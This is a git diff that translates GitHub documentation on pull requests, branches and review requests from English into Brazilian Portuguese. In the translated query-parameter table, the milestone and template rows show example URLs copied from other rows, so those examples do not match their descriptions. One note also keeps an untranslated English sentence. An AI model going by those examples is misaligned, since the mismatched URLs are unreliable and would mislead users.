-To specify the branch into which you want the pull request merged, use the `--base` or `-B` flags. To specify the branch that contains commits for your pull request, use the `--head` or `-H` flags.
+Para especificar o branch no qual você deseja fazer merge do pull request, use os sinalizadores `--base` ou `-B`. Para especificar o branch que contém commits para o seu pull request, use os sinalizadores `--head` ou `-H`.
 
 ```shell
 gh pr create --base my-base-branch --head my-changed-branch
 ```
 
-To include a title and body for the new pull request, use the `--title` and `--body` flags.
+Para incluir um título e texto do novo pull request, use os sinalizadores de `--title` e `--body`.
 
 ```shell
 gh pr create --title "The bug is fixed" --body "Everything works again"
 ```
 
-To mark a pull request as a draft, use the `--draft` flag.
+Para marcar uma pull request como rascunho, use o sinalizador `--draft`.
 
 ```shell
 gh pr create --draft
 ```
 
-To add a labels or milestones to the new pull request, use the `--label` and `--milestone`  flags.
+Para adicionar etiquetas ou marcos ao novo pull request, use os sinalizadores `--label` e `--milestone`.
 
 ```shell
 gh pr create --label "bug,help wanted" --milestone octocat-milestone
 ```
 
-To add the new pull request to a specific project, use the `--project` flag.
+Para adicionar o novo pull request a um projeto específico, use o sinalizador `--project`.
 
 ```shell
 gh pr create --project octocat-project
 ```
 
-To assign an individual or team as reviewers, use the `--reviewer` flag.
+Para atribuir um indivíduo ou equipe como revisores, use o sinalizador `--reviewer`.
 
 ```shell
 gh pr create --reviewer monalisa,hubot  --reviewer myorg/team-name
 ```
 
-To create the pull request in your default web browser, use the `--web` flag.
+Para criar um pull request no navegador padrão, use o sinalizador `--web`.
 
 ```shell
 gh pr create --web
@@ -130,11 +126,9 @@ gh pr create --web
 
 {% mac %}
 
-1. Switch to the branch that you want to create a pull request for. For more information, see "[Switching between branches](/desktop/contributing-and-collaborating-using-github-desktop/managing-branches#switching-between-branches)."
-2. Click **Create Pull Request**. {% data variables.product.prodname_desktop %} will open your default browser to take you to {% data variables.product.prodname_dotcom %}.
-  ![The Create Pull Request button](/assets/images/help/desktop/mac-create-pull-request.png)
-4. On {% data variables.product.prodname_dotcom %}, confirm that the branch in the **base:** drop-down menu is the branch where you want to merge your changes. Confirm that the branch in the **compare:** drop-down menu is the topic branch where you made your changes.
-  ![Drop-down menus for choosing the base and compare branches](/assets/images/help/desktop/base-and-compare-branches.png)
+1. Alterne para o branch para o qual você deseja criar um pull request. Para obter mais informações, consulte "[Alternar branches](/desktop/contributing-and-collaborating-using-github-desktop/managing-branches#switching-between-branches)".
+2. Clique em **Create Pull Request** (Criar pull request). {% data variables.product.prodname_desktop %} abrirá o seu navegador-padrão para levar você a {% data variables.product.prodname_dotcom %}. ![O botão Criar Pull Request](/assets/images/help/desktop/mac-create-pull-request.png)
+4. Em {% data variables.product.prodname_dotcom %}, confirme se o branch no menu suspenso **base:** é o branch onde você deseja fazer merge das suas alterações. Confirme se o branch no menu suspenso **compare:** é o branch de tópico em que você fez suas alterações. ![Menus suspenso para escolher a base e comparar os branches](/assets/images/help/desktop/base-and-compare-branches.png)
 {% data reusables.repositories.pr-title-description %}
 {% data reusables.repositories.create-pull-request %}
 
@@ -142,11 +136,9 @@ gh pr create --web
 
 {% windows %}
 
-1. Switch to the branch that you want to create a pull request for. For more information, see "[Switching between branches](/desktop/contributing-and-collaborating-using-github-desktop/managing-branches#switching-between-branches)."
-2. Click **Create Pull Request**. {% data variables.product.prodname_desktop %} will open your default browser to take you to {% data variables.product.prodname_dotcom %}.
-  ![The Create Pull Request button](/assets/images/help/desktop/windows-create-pull-request.png)
-3. On {% data variables.product.prodname_dotcom %}, confirm that the branch in the **base:** drop-down menu is the branch where you want to merge your changes. Confirm that the branch in the **compare:** drop-down menu is the topic branch where you made your changes.
-  ![Drop-down menus for choosing the base and compare branches](/assets/images/help/desktop/base-and-compare-branches.png)
+1. Alterne para o branch para o qual você deseja criar um pull request. Para obter mais informações, consulte "[Alternar branches](/desktop/contributing-and-collaborating-using-github-desktop/managing-branches#switching-between-branches)".
+2. Clique em **Create Pull Request** (Criar pull request). {% data variables.product.prodname_desktop %} abrirá o seu navegador-padrão para levar você a {% data variables.product.prodname_dotcom %}. ![O botão Criar Pull Request](/assets/images/help/desktop/windows-create-pull-request.png)
+3. Em {% data variables.product.prodname_dotcom %}, confirme se o branch no menu suspenso **base:** é o branch onde você deseja fazer merge das suas alterações. Confirme se o branch no menu suspenso **compare:** é o branch de tópico em que você fez suas alterações. ![Menus suspenso para escolher a base e comparar os branches](/assets/images/help/desktop/base-and-compare-branches.png)
 {% data reusables.repositories.pr-title-description %}
 {% data reusables.repositories.create-pull-request %}
 
@@ -158,22 +150,20 @@ gh pr create --web
 
 {% codespaces %}
 
-1. Once you've committed changes to your local copy of the repository, click the **Create Pull Request** icon.
-![Source control side bar with staging button highlighted](/assets/images/help/codespaces/codespaces-commit-pr-button.png)  
-1. Check that the local branch and repository you're merging from, and the remote branch and repository you're merging into, are correct. Then give the pull request a title and a description.
-![GitHub pull request side bar](/assets/images/help/codespaces/codespaces-commit-pr.png)
-1. Click **Create**.
+1. Depois de realizar alterações na sua cópia local do repositório, clique no ícone **Criar Pull Request**. ![Barra lateral de controle de origem com botão de staging destacado](/assets/images/help/codespaces/codespaces-commit-pr-button.png)
+1. Verifique se o branch local e o repositório do qual você está fazendo merge, o branch remoto e o repositório no qual você está fazendo merge estão corretos. Em seguida, dê ao pull request um título e uma descrição. ![Barra lateral de pull request do GitHub](/assets/images/help/codespaces/codespaces-commit-pr.png)
+1. Clique em **Criar**.
 
-For more information on creating pull requests in {% data variables.product.prodname_codespaces %}, see "[Using Codespaces for pull requests](/codespaces/developing-in-codespaces/using-codespaces-for-pull-requests)."
+Para obter mais informações sobre a criação de pull requests em {% data variables.product.prodname_codespaces %}, consulte "[Usando codespaces para pull requests](/codespaces/developing-in-codespaces/using-codespaces-for-pull-requests)"
 
 {% endcodespaces %}
 
 {% endif %}
-## Further reading
+## Leia mais
 
-- "[Creating a pull request from a fork](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request-from-a-fork)"
-- "[Changing the base branch of a pull request](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/changing-the-base-branch-of-a-pull-request)"
-- "[Adding issues and pull requests to a project board from the sidebar](/articles/adding-issues-and-pull-requests-to-a-project-board/#adding-issues-and-pull-requests-to-a-project-board-from-the-sidebar)"
-- "[About automation for issues and pull requests with query parameters](/issues/tracking-your-work-with-issues/creating-issues/about-automation-for-issues-and-pull-requests-with-query-parameters)"
-- "[Assigning issues and pull requests to other GitHub users](/issues/tracking-your-work-with-issues/managing-issues/assigning-issues-and-pull-requests-to-other-github-users)"
-- "[Writing on GitHub](/github/writing-on-github)"
+- "[Criar uma pull request de uma bifurcação](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-a-pull-request-from-a-fork)"
+- "[Alterar o branch base de uma pull request](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/changing-the-base-branch-of-a-pull-request)"
+- "[Adicionar problemas e pull requests a um quadro de projeto da barra lateral](/articles/adding-issues-and-pull-requests-to-a-project-board/#adding-issues-and-pull-requests-to-a-project-board-from-the-sidebar)"
+- "[Sobre automação de problemas e pull requests com parâmetros de consulta](/issues/tracking-your-work-with-issues/creating-issues/about-automation-for-issues-and-pull-requests-with-query-parameters)"
+- "[Atribuir problemas e pull requests a outros usuários do GitHub](/issues/tracking-your-work-with-issues/managing-issues/assigning-issues-and-pull-requests-to-other-github-users)"
+- "[Escrevendo no GitHub](/github/writing-on-github)"
diff --git a/translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-and-deleting-branches-within-your-repository.md b/translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-and-deleting-branches-within-your-repository.md
index aeff18cc0b..20a8e5bc80 100644
--- a/translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-and-deleting-branches-within-your-repository.md
+++ b/translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-and-deleting-branches-within-your-repository.md
@@ -1,6 +1,6 @@
 ---
-title: Creating and deleting branches within your repository
-intro: 'You can create or delete branches directly on {% data variables.product.product_name %}.'
+title: Criar e excluir branches no repositório
+intro: 'Você pode criar ou excluir branches diretamente no {% data variables.product.product_name %}.'
 redirect_from:
   - /github/collaborating-with-issues-and-pull-requests/proposing-changes-to-your-work-with-pull-requests/creating-and-deleting-branches-within-your-repository
   - /articles/deleting-branches-in-a-pull-request
@@ -13,41 +13,38 @@ versions:
   ghec: '*'
 topics:
   - Pull requests
-shortTitle: Create & delete branches
+shortTitle: Criar & excluir branches
 ---
-## Creating a branch
+
+## Criar um branch
 
 {% data reusables.repositories.navigate-to-repo %}
 
-1. Optionally, if you want to create your new branch from a branch other than the default branch for the repository, click {% octicon "git-branch" aria-label="The branch icon" %} **<em>NUMBER</em> branches** then choose another branch:
-    ![Branches link on overview page](/assets/images/help/branches/branches-link.png)
-1. Click the branch selector menu.
-    ![branch selector menu](/assets/images/help/branch/branch-selection-dropdown.png)
-1. Type a unique name for your new branch, then select **Create branch**.
-    ![branch creation text box](/assets/images/help/branch/branch-creation-text-box.png)
+1. Opcionalmente, se quiser criar um novo branch a partir de um branch diferente do branch padrão para o repositório, clique em {% octicon "git-branch" aria-label="The branch icon" %} **<em>NUMBER</em> branches** e escolha outro branch: ![Link de branches numa página de visão geral](/assets/images/help/branches/branches-link.png)
+1. Clique no menu seletor de branch. ![menu seletor de branch](/assets/images/help/branch/branch-selection-dropdown.png)
+1. Digite um nome exclusivo para o novo branch e selecione **Create branch** (Criar branch). ![caixa de texto de criação de branch](/assets/images/help/branch/branch-creation-text-box.png)
 
-## Deleting a branch
+## Excluir um branch
 
 {% data reusables.pull_requests.automatically-delete-branches %}
 
 {% note %}
 
-**Note:** If the branch you want to delete is the repository's default branch, you must choose a new default branch before deleting the branch. For more information, see "[Changing the default branch](/github/administering-a-repository/changing-the-default-branch)."
+**Observação:** Se o branch que você deseja excluir for o branch padrão do repositório, você deverá escolher um novo branch padrão antes de excluir o branch. For more information, see "[Setting the default branch](/github/administering-a-repository/setting-the-default-branch)."
 
 {% endnote %}
 
-If the branch you want to delete is associated with an open pull request, you must merge or close the pull request before deleting the branch. For more information, see "[Merging a pull request](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request)" or "[Closing a pull request](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/closing-a-pull-request)."
+Se o branch que você deseja excluir estiver associado a um pull request aberto, você deverá fazer o merge ou fechar o pull request antes de excluir o branch. Para obter mais informações, consulte "[Fazer merge de um pull request](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/merging-a-pull-request)" ou "[Fechar um pull request](/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/closing-a-pull-request)".
 
 {% data reusables.repositories.navigate-to-repo %}
 {% data reusables.repositories.navigate-to-branches %}
-1. Scroll to the branch that you want to delete, then click {% octicon "trash" aria-label="The trash icon to delete the branch" %}.
-    ![delete the branch](/assets/images/help/branches/branches-delete.png)
+1. Role até o branch que deseja excluir e clique em {% octicon "trash" aria-label="The trash icon to delete the branch" %}. ![excluir o branch](/assets/images/help/branches/branches-delete.png)
 
 {% data reusables.pull_requests.retargeted-on-branch-deletion %}
-For more information, see "[About branches](/github/collaborating-with-issues-and-pull-requests/about-branches#working-with-branches)."
+Para obter mais informações, consulte "[Sobre branches](/github/collaborating-with-issues-and-pull-requests/about-branches#working-with-branches)".
 
-## Further reading
+## Leia mais
 
-- "[About branches](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-branches)"
-- "[Viewing branches in your repository](/github/administering-a-repository/viewing-branches-in-your-repository)"
-- "[Deleting and restoring branches in a pull request](/github/administering-a-repository/deleting-and-restoring-branches-in-a-pull-request)"
+- "[Sobre branches](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-branches)"
+- "[Exibir branches no repositório](/github/administering-a-repository/viewing-branches-in-your-repository)"
+- "[Excluindo e restaurando branches em uma pull request](/github/administering-a-repository/deleting-and-restoring-branches-in-a-pull-request)"
diff --git a/translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/index.md b/translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/index.md
index 6a5e87fe5c..6817bf2727 100644
--- a/translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/index.md
+++ b/translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/index.md
@@ -1,6 +1,6 @@
 ---
-title: Proposing changes to your work with pull requests
-intro: 'After you add changes to a topic branch or fork, you can open a pull request to ask your collaborators or the repository administrator to review your changes before merging them into the project.'
+title: Propor alterações no trabalho com pull requests
+intro: 'Depois de adicionar alterações em um branch de tópico ou bifurcação, você pode abrir uma pull request para solicitar que seus colaboradores ou o administrador do repositório revisem as alterações antes de fazer merge delas no projeto.'
 redirect_from:
   - /github/collaborating-with-issues-and-pull-requests/proposing-changes-to-your-work-with-pull-requests
   - /articles/proposing-changes-to-your-work-with-pull-requests
@@ -24,5 +24,6 @@ children:
   - /requesting-a-pull-request-review
   - /changing-the-base-branch-of-a-pull-request
   - /committing-changes-to-a-pull-request-branch-created-from-a-fork
-shortTitle: Propose changes
+shortTitle: Propor alterações
 ---
+
diff --git a/translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/requesting-a-pull-request-review.md b/translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/requesting-a-pull-request-review.md
index d791c95923..1d338b31e2 100644
--- a/translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/requesting-a-pull-request-review.md
+++ b/translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/requesting-a-pull-request-review.md
@@ -1,6 +1,6 @@
 ---
-title: Requesting a pull request review
-intro: 'After you create a pull request, you can ask a specific person to review the changes you''ve proposed. If you''re an organization member, you can also request a specific team to review your changes.'
+title: Solicitar uma revisão de pull request
+intro: 'Depois de criar uma pull request, você pode pedir para uma pessoa específica revisar as alterações propostas. Se você for um integrante da organização, poderá pedir para uma equipe específica revisar suas alterações.'
 redirect_from:
   - /github/collaborating-with-issues-and-pull-requests/proposing-changes-to-your-work-with-pull-requests/requesting-a-pull-request-review
   - /articles/requesting-a-pull-request-review
@@ -13,32 +13,29 @@ versions:
   ghec: '*'
 topics:
   - Pull requests
-shortTitle: Request a PR review
+shortTitle: Solicitar revisão de PR
 ---
-Owners and collaborators on a repository owned by a user account can assign pull request reviews. Organization members with triage permissions to a repository can assign a pull request review.
 
-Owners or collaborators can assign a pull request review to any person that has been explicitly granted [read access](/articles/access-permissions-on-github) to a user-owned repository. Organization members can assign a pull request review to any person or team with read access to a repository. The requested reviewer or team will receive a notification that you asked them to review the pull request. {% ifversion fpt or ghae or ghes or ghec %}If you request a review from a team and code review assignment is enabled, specific members will be requested and the team will be removed as a reviewer. For more information, see "[Managing code review settings for your team](/organizations/organizing-members-into-teams/managing-code-review-settings-for-your-team)."{% endif %}
+Proprietários e colaboradores de um repositório pertencente a uma conta de usuário podem atribuir revisões de pull requests. Os integrantes da organização com permissões de triagem em um repositório podem atribuir uma revisão de pull request.
+
+Os proprietários e colaboradores podem atribuir uma revisão de pull request a qualquer pessoa que recebeu explicitamente [acesso de leitura](/articles/access-permissions-on-github) em um repositório pertencente a um usuário. Os integrantes da organização podem atribuir uma revisão de pull request para qualquer pessoa ou equipe com acesso de leitura em um repositório. O revisor ou a equipe receberão uma notificação informando que você solicitou a revisão de uma pull request. {% ifversion fpt or ghae or ghes or ghec %}Se você solicitar uma revisão de uma equipe e a atribuição de revisão de código estiver ativada, integrantes específicos serão solicitados e a equipe será removida como revisora. Para obter mais informações, consulte "[Gerenciando configurações de revisão de código para sua equipe](/organizations/organizing-members-into-teams/managing-code-review-settings-for-your-team)".{% endif %}
 
 {% note %}
 
-**Note:** Pull request authors can't request reviews unless they are either a repository owner or collaborator with write access to the repository.
+**Observação:** os autores da pull request não podem solicitar revisões, a menos que sejam colaboradores ou proprietários do repositório com acesso de gravação no repositório.
 
 {% endnote %}
 
-You can request a review from either a suggested or specific person. Suggested reviewers are based on [git blame data](/articles/tracking-changes-in-a-file/). If you request a review, other people with read access to the repository can still review your pull request. Once someone has reviewed your pull request and you've made the necessary changes, you can re-request review from the same reviewer. If the requested reviewer does not submit a review, and the pull request meets the repository's [mergeability requirements](/articles/defining-the-mergeability-of-pull-requests), you can still merge the pull request.
+Você pode solicitar uma revisão para uma pessoa específica ou sugerida. Os revisores sugeridos são baseados nos [dados de blame do Git](/articles/tracking-changes-in-a-file/). Se você solicitar uma revisão, outras pessoas com acesso de leitura no repositório poderão revisar sua pull request. Depois que alguém revisar sua pull request e você fizer as alterações necessárias, você poderá solicitar novamente a revisão do mesmo revisor. Se o revisor solicitado não enviar uma revisão e a pull request atender aos requisitos de mesclagem do repositório [](/articles/defining-the-mergeability-of-pull-requests), você ainda poderá fazer o merge da pull request.
 
 {% data reusables.repositories.sidebar-pr %}
-2. In the list of pull requests, click the pull request that you'd like to ask a specific person or a team to review.
-3. Navigate to **Reviewers** in the right sidebar.  
-4. To request a review from a suggested person under **Reviewers**, next to their username, click **Request**.
- ![Reviewers request icon in the right sidebar](/assets/images/help/pull_requests/request-suggested-review.png)
-5. Optionally, to request a review from someone other than a suggested person, click **Reviewers**, then click on a name in the dropdown menu.
-  ![Reviewers gear icon in the right sidebar](/assets/images/help/pull_requests/request-a-review-not-suggested.png)
-6. Optionally, if you know the name of the person or team you'd like a review from, click **Reviewers**, then type the username of the person or the name of the team you're asking to review your changes. Click their team name or username to request a review.
-  ![Field to enter a reviewer's username and drop-down with reviewer's name](/assets/images/help/pull_requests/choose-pull-request-reviewer.png)
-7. After your pull request is reviewed and you've made the necessary changes, you can ask a reviewer to re-review your pull request. Navigate to **Reviewers** in the right sidebar and click {% octicon "sync" aria-label="The sync icon" %} next to the reviewer's name whose review you'd like.
-  ![Re-review sync icon in the right sidebar](/assets/images/help/pull_requests/request-re-review.png)
+2. Na lista de pull requests, clique na pull request que deve ser revisada por uma pessoa ou equipe específica.
+3. Navegue até **Reviewers** (Revisores) na barra lateral direita.
+4. Para solicitar a revisão para uma pessoa sugerida, em **Reviewers** (Revisores), clique em **Request** (Solicitar) ao lado do nome de usuário. ![Ícone de solicitação de revisores da barra lateral direita](/assets/images/help/pull_requests/request-suggested-review.png)
+5. Opcionalmente, para solicitar a revisão para uma pessoa diferente da pessoa sugerida, clique em **Reviewers** (Revisores) e depois clique em um nome no menu suspenso. ![Ícone de engrenagem de revisores da barra lateral direita](/assets/images/help/pull_requests/request-a-review-not-suggested.png)
+6. Opcionalmente, se souber o nome da pessoa ou da equipe da qual deseja a revisão, clique em **Reviewers** (Revisores) e insira o nome de usuário da pessoa ou o nome da equipe para a qual deseja solicitar a revisão das alterações. Clique no nome da equipe ou no nome de usuário para solicitar a revisão. ![Campo para inserir um nome de usuário do revisor e menu com nome do revisor](/assets/images/help/pull_requests/choose-pull-request-reviewer.png)
+7. Depois que a pull request for revisada e você fizer as alterações necessárias, você poderá solicitar que ela seja revisada novamente por um revisor. Navegue até **Reviewers** na barra lateral direita e clique em {% octicon "sync" aria-label="The sync icon" %} ao lado do nome do revisor desejado. ![Ícone de sincronização de re-revisão na barra lateral direita](/assets/images/help/pull_requests/request-re-review.png)
 
-## Further reading
+## Leia mais
 
-- "[About pull request reviews](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews)"
+- "[Sobre revisões de solicitação pull](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews)"
diff --git a/translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/using-query-parameters-to-create-a-pull-request.md b/translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/using-query-parameters-to-create-a-pull-request.md
index fc4cd43b04..5dc6dbe3a4 100644
--- a/translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/using-query-parameters-to-create-a-pull-request.md
+++ b/translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/using-query-parameters-to-create-a-pull-request.md
@@ -1,6 +1,6 @@
 ---
-title: Using query parameters to create a pull request
-intro: Use query parameters to create custom URLs to open pull requests with pre-populated fields.
+title: Usar parâmetros de consulta para criar um pull request
+intro: Usar parâmetros de consulta para criar URLs personalizadas para abrir pull requests com campos pré-preenchidos.
 redirect_from:
   - /github/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/using-query-parameters-to-create-a-pull-request
 versions:
@@ -12,25 +12,25 @@ topics:
   - Pull requests
 ---
 
-You can use query parameters to open pull requests. Query parameters are optional parts of a URL you can customize to share a specific web page view, such as search filter results or a pull request template on {% data variables.product.prodname_dotcom %}. To create your own query parameters, you must match the key and value pair.
+Você pode usar parâmetros de consulta para abrir pull requests. Os parâmetros de consulta são partes opcionais de uma URL que você pode personalizar para compartilhar uma visualização específica da página, tais como resultados de filtro de pesquisa ou um modelo de pull request em {% data variables.product.prodname_dotcom %}. Para criar seus próprios parâmetros de consulta, você deve corresponder o par de chave e valor.
 
 {% tip %}
 
-**Tip:** You can also create pull request templates that open with default labels, assignees, and an pull request title. For more information, see "[Using templates to encourage useful issues and pull requests](/communities/using-templates-to-encourage-useful-issues-and-pull-requests)."
+**Dica:** Você também pode criar modelos de pull request que abrem com as etiquetas padrão, responsáveis e um título de pull request. Para obter mais informações, consulte "[Usar modelos para incentivar problemas úteis e pull requests](/communities/using-templates-to-encourage-useful-issues-and-pull-requests)".
 
 {% endtip %}
 
-You must have the proper permissions for any action to use the equivalent query parameter. For example, you must have permission to add a label to a pull request to use the `labels` query parameter. For more information, see "[Repository roles for an organization](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)."
+Você deve ter as permissões adequadas para qualquer ação para usar o parâmetro de consulta equivalente. Por exemplo, você precisa de permissão para adicionar uma etiqueta a um pull request para usar os parâmetros de consulta de `etiquetas`. Para obter mais informações, consulte "[Funções do repositório para uma organização](/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization)".
 
-If you create an invalid URL using query parameters, or if you don’t have the proper permissions, the URL will return a `404 Not Found` error page. If you create a URL that exceeds the server limit, the URL will return a `414 URI Too Long` error page.
+Se você criar uma URL inválida usando parâmetros de consulta, ou se você não tiver as permissões adequadas, a URL retornará uma página de erro `404 Not Found`. Se você criar uma URL que excede o limite do servidor, a URL retornará uma página de erro de `414 URI Too Long`.
 
-Query parameter | Example
----  | ---
-`quick_pull` | `https://github.com/octo-org/octo-repo/compare/main...my-branch?quick_pull=1` creates a pull request that compares the base branch `main` and head branch `my-branch`. The `quick_pull=1` query brings you directly to the "Open a pull request" page.
-`title` | `https://github.com/octo-org/octo-repo/compare/main...my-branch?quick_pull=1&labels=bug&title=Bug+fix+report` creates a pull request with the label "bug" and title "Bug fix."
-`body` | `https://github.com/octo-org/octo-repo/compare/main...my-branch?quick_pull=1&title=Bug+fix&body=Describe+the+fix.` creates a pull request with the title "Bug fix" and the comment "Describe the fix" in the pull request body.
-`labels` | `https://github.com/octo-org/octo-repo/compare/main...my-branch?quick_pull=1&labels=help+wanted,bug` creates a pull request with the labels "help wanted" and "bug".
-`milestone` | `https://github.com/octo-org/octo-repo/compare/main...my-branch?quick_pull=1&milestone=testing+milestones` creates a pull request with the milestone "testing milestones."
-`assignees` | `https://github.com/octo-org/octo-repo/compare/main...my-branch?quick_pull=1&assignees=octocat` creates a pull request and assigns it to @octocat.
-`projects` | `https://github.com/octo-org/octo-repo/compare/main...my-branch?quick_pull=1&title=Bug+fix&projects=octo-org/1` creates a pull request with the title "Bug fix" and adds it to the organization's project board 1.
-`template` | `https://github.com/octo-org/octo-repo/compare/main...my-branch?quick_pull=1&template=issue_template.md` creates a pull request with a template in the pull request body. The `template` query parameter works with templates stored in a `PULL_REQUEST_TEMPLATE` subdirectory within the root, `docs/` or `.github/` directory in a repository. For more information, see "[Using templates to encourage useful issues and pull requests](/communities/using-templates-to-encourage-useful-issues-and-pull-requests)."
+| Parâmetro de consulta | Exemplo                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        |
+| --------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `quick_pull`          | `https://github.com/octo-org/octo-repo/compare/main...my-branch?quick_pull=1` cria um pull request que compara o branch base `main` e o branch principal `my-branch`. A consulta `quick_pull=1` leva você diretamente para a página "Open a pull request".                                                                                                                                                                                                                                                                                                     |
+| `title`               | `https://github.com/octo-org/octo-repo/compare/main...my-branch?quick_pull=1&labels=bug&title=Bug+fix+report` cria um pull request com a etiqueta "erro" e o título "correção de erro".                                                                                                                                                                                                                                                                                                                                                                |
+| `texto`               | `https://github.com/octo-org/octo-repo/compare/main...my-branch?quick_pull=1&title=Bug+fix&body=Describe+the+fix.` cria um pull request com o título "Correção de erro" e o comentário "Descreva a correção" no texto do pull request.                                                                                                                                                                                                                                                                                                                 |
+| `etiquetas`           | `https://github.com/octo-org/octo-repo/compare/main...my-branch?quick_pull=1&labels=help+wanted,bug` cria um pull request com as etiquetas "help wanted" e "bug".                                                                                                                                                                                                                                                                                                                                                                                          |
+| `marco`               | `https://github.com/octo-org/octo-repo/compare/main...my-branch?quick_pull=1&labels=help+wanted,bug` cria um pull request com o marco "testing milestones".                                                                                                                                                                                                                                                                                                                                                                                                |
+| `assignees`           | `https://github.com/octo-org/octo-repo/compare/main...my-branch?quick_pull=1&assignees=octocat` cria um pull request e o atribui a @octocat.                                                                                                                                                                                                                                                                                                                                                                                                               |
+| `projetos`            | `https://github.com/octo-org/octo-repo/compare/main...my-branch?quick_pull=1&title=Bug+fix&projects=octo-org/1` cria um pull request com o título "Bug fix" e a adiciona ao quadro do projeto da organização 1.                                                                                                                                                                                                                                                                                                                                        |
+| `modelo`              | `https://github.com/octo-org/octo-repo/compare/main...my-branch?quick_pull=1&title=Bug+fix&projects=octo-org/1` cria um pull request com um template no texto do pull request. O parâmetro de consulta `template` funciona com modelos armazenados em um subdiretório `PULL_REQUEST_TEMPLATE` dentro da raiz, `docs/` ou diretório do `.github/` em um repositório. Para obter mais informações, consulte "[Usar modelos para incentivar problemas úteis e pull requests](/communities/using-templates-to-encourage-useful-issues-and-pull-requests)". |
diff --git a/translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews.md b/translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews.md
index 41d86814c4..c4fa2e1c42 100644
--- a/translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews.md
+++ b/translations/pt-BR/content/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews.md
@@ -1,6 +1,6 @@
 ---
-title: About pull request reviews
-intro: 'Reviews allow collaborators to comment on the changes proposed in pull requests, approve the changes, or request further changes before the pull request is merged. Repository administrators can require that all pull requests are approved before being merged.'
+title: Sobre revisões de pull request
+intro: 'As revisões permitem que colaboradores comentem sobre as alterações propostas em pull requests, aprovem as alterações ou solicitem outras alterações antes do merge da pull request. Os administradores do repositório podem exigir que todas as pull requests sejam aprovadas antes de sofrerem o merge.'
 redirect_from:
   - /github/collaborating-with-issues-and-pull-requests/reviewing-changes-in-pull-requests/about-pull-request-reviews
   - /articles/about-pull-request-reviews
@@ -13,53 +13,54 @@ versions:
   ghec: '*'
 topics:
   - Pull requests
-shortTitle: About PR reviews
+shortTitle: Sobre revisões de PR
 ---
-## About pull request reviews
 
-After a pull request is opened, anyone with *read* access can review and comment on the changes it proposes. You can also suggest specific changes to lines of code, which the author can apply directly from the pull request. For more information, see "[Reviewing proposed changes in a pull request](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-proposed-changes-in-a-pull-request)."
+## Sobre revisões de pull request
 
-Repository owners and collaborators can request a pull request review from a specific person. Organization members can also request a pull request review from a team with read access to the repository. For more information, see "[Requesting a pull request review](/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/requesting-a-pull-request-review)." {% ifversion fpt or ghae or ghes or ghec %}You can specify a subset of team members to be automatically assigned in the place of the whole team. For more information, see "[Managing code review settings for your team](/organizations/organizing-members-into-teams/managing-code-review-settings-for-your-team)."{% endif %}
+Após a abertura de uma pull request, qualquer pessoa com acesso *de leitura* pode revisar e comentar nas alterações que ela propõe. Você também pode sugerir alterações específicas às linhas de código, que o autor pode aplicar diretamente a partir da pull request. Para obter mais informações, consulte "[Revisar alterações propostas em uma pull request](/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-proposed-changes-in-a-pull-request)".
 
